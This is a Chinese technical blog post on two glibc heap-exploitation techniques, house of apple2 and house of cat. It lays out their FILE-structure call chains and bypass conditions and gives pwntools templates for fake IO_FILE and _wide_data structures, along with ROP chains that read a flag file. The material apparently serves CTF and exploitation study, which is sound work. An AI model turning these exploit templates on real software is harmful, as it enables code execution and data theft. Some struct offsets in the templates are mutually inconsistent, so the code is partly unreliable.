当前位置:首页 > 技术 > 正文内容

glibc堆利用:house of apple2与house of cat技术详解

访客 技术 2026年6月3日 1

概述

本文档整理了两种常见的glibc堆利用技术——house of apple2和house of cat的调用链、绕过条件及利用模板。这两种技术都利用了glibc中_IO_FILE结构的特性实现代码执行。

house of apple2

调用链分析

house of apple2技术利用以下调用链实现控制流劫持:

exit → __run_exit_handlers → _IO_cleanup → _IO_flush_all_lockp 
→ _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
→ *(fp->_wide_data->_wide_vtable + 0x68)(fp)
   或 *(fp->_wide_data->_wide_vtable->_doallocate)(fp)

检查条件绕过

需要满足以下条件才能成功触发漏洞:

  • fp->flags不等于0x8、0x800或0x2
  • fp->_mode <= 0时,需要fp->_IO_write_ptr > fp->_IO_write_base
  • fp->_mode > 0时,需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
  • vtable指针设置为_IO_wfile_jumps
  • _wide_data指向可控堆地址(满足*(fp + 0xa0) = heap_addr1
  • _wide_data->_IO_write_base设置为0(满足*(heap_addr1 + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0(满足*(heap_addr1 + 0x30) = 0
  • _wide_data->_wide_vtable指向可控堆地址(满足*(heap_addr1 + 0xe0) = heap_addr2
  • _wide_data->_wide_vtable->doallocate设置为目标地址C用于劫持执行流

利用模板

构造fake IO_FILE结构体:

fake_file = flat({
    0x0: 0,          # _IO_read_end
    0x8: 0,          # _IO_read_base
    0x10: 0,         # _IO_write_base
    0x18: 0,         # _IO_write_ptr
    0x20: 0,         # _IO_write_end
    0x28: 0,         # _IO_buf_base
    0x30: 0,         # _IO_buf_end
    0x38: 0,         # _IO_save_base
    0x40: 0,         # _IO_backup_base
    0x48: 0,         # _IO_save_end
    0x50: 0,         # _markers
    0x58: 0,         # _chain
    0x60: 0,         # _fileno
    0x68: 0,         # _old_offset
    0x70: 0,         # _cur_column
    0x78: 0,         # _lock
    0x80: 0,         # _offset
    0x88: 0,         # _codecvt
    0x90: controlled_heap - base_libc + gadget_offset,  # _wide_data
    0x98: 0,         # _freeres_list
    0xa0: 0,         # _freeres_buf
    0xa8: 0,         # __pad5
    0xb0: 0,         # _mode
    0xc8: io_wfile_jumps_addr + libc_base,  # vtable
})

构造fake _wide_data结构体:

fake_wide = flat({
    0x0: [
        libc_base + pop_rdi_gadget,           # pop rdi ; ret
        controlled_heap - base_heap + 0x100,  # 参数1
        libc_base + pop_rsi_gadget,           # pop rsi ; ret
        0,                                     # 参数2
        libc_base + pop_rdx_r12_gadget,       # pop rdx ; pop r12 ; ret
        0,
        0,
        libc_base + pop_rax_gadget,           # pop rax ; ret
        2,                                     # syscall number
        libc_base + syscall_gadget,           # syscall
        libc_base + pop_rdi_gadget,
        3,                                     # fd
        libc_base + pop_rsi_gadget,
        controlled_heap - base_heap + 0x100,
        libc_base + pop_rdx_r12_gadget,
        0x100,
        0,
        read_gadget,
        libc_base + pop_rdi_gadget,
        1,                                     # stdout
        write_gadget,
    ],
    0xa8: 0,
    0xb0: 0,
    0xb8: 0,
    0xc0: 0,
    0xc8: 0,
    0xd0: 0,
    0xd8: 0,
    0xe0: controlled_vtable - base_heap + gadget_offset,
    0x148: libc_base + mov_rsp_rdx_gadget     # mov rsp, rdx ; ret
})

原理图示

house of apple2原理图

house of cat

调用链分析

house of cat技术利用以下调用链:

__malloc_assert → __fxprintf() → __vfxprintf() → locked_vfxprintf()
→ _IO_wfile_jumps → _IO_wfile_seekoff → _IO_switch_to_wget_mode()
→ _IO_WOVERFLOW → _IO_wfile_underflow

检查条件绕过

  • fp->_mode不为0
  • 满足以下任一条件:
    • fp->_mode <= 0fp->_IO_write_ptr > fp->_IO_write_base
    • fp->_mode > 0fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
  • fp->_lock必须指向可写地址

利用模板

构造ROP链实现文件操作:

# close fd
rop_chain = p64(pop_rdi)
rop_chain += p64(0)
rop_chain += p64(close_func)

# open file
rop_chain += p64(pop_rdi)
rop_chain += p64(flag_addr)
rop_chain += p64(pop_rsi)
rop_chain += p64(0)
rop_chain += p64(pop_rax)
rop_chain += p64(2)  # O_RDONLY
rop_chain += p64(syscall)

# read file content
rop_chain += p64(pop_rdi)
rop_chain += p64(0)
rop_chain += p64(pop_rsi)
rop_chain += p64(buffer_addr)
rop_chain += p64(pop_rdx_r12)
rop_chain += p64(0x100)
rop_chain += p64(0)
rop_chain += p64(read_func)

# write to stdout
rop_chain += p64(pop_rdi)
rop_chain += p64(1)
rop_chain += p64(write_func)

构造fake IO_FILE结构体:

fake_stderr = flat({
    0x0: 0,                          # _IO_read_end
    0x8: 0,                          # _IO_read_base
    0x10: 0,                         # _IO_write_base
    0x18: 0,                         # _IO_write_ptr
    0x20: 0,                         # _IO_write_end
    0x28: 0,                         # _IO_buf_base
    0x30: 0,                         # _IO_buf_end
    0x38: 0,                         # _IO_save_base
    0x40: 0,                         # _IO_backup_base
    0x48: 0,                         # _IO_save_end
    0x50: 0,                         # _markers
    0x58: 0,                         # _chain
    0x60: 0,                         # _fileno
    0x68: 0,                         # _old_offset
    0x70: 0,                         # _cur_column
    0x78: writable_lock_addr,        # _lock (可写地址)
    0x80: 0,                         # _offset
    0x88: 0,                         # _codecvt
    0x90: wide_data_heap_addr,       # _wide_data
    0x98: 0,                         # _freeres_list
    0xa0: 0,                         # _freeres_buf
    0xa8: 0,                         # __pad5
    0xb0: 0,                         # _mode
    0xc8: io_wfile_jumps_addr + 0x10, # vtable
})

构造fake _wide_data结构体:

fake_wide_data = flat({
    0x0: bytes(rop_chain),
    0xe0: vtable_heap_addr,
    0xf8: libc_base + mov_rsp_rdx_gadget  # mov rsp, rdx ; ret
})

原理图示

house of cat原理图

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。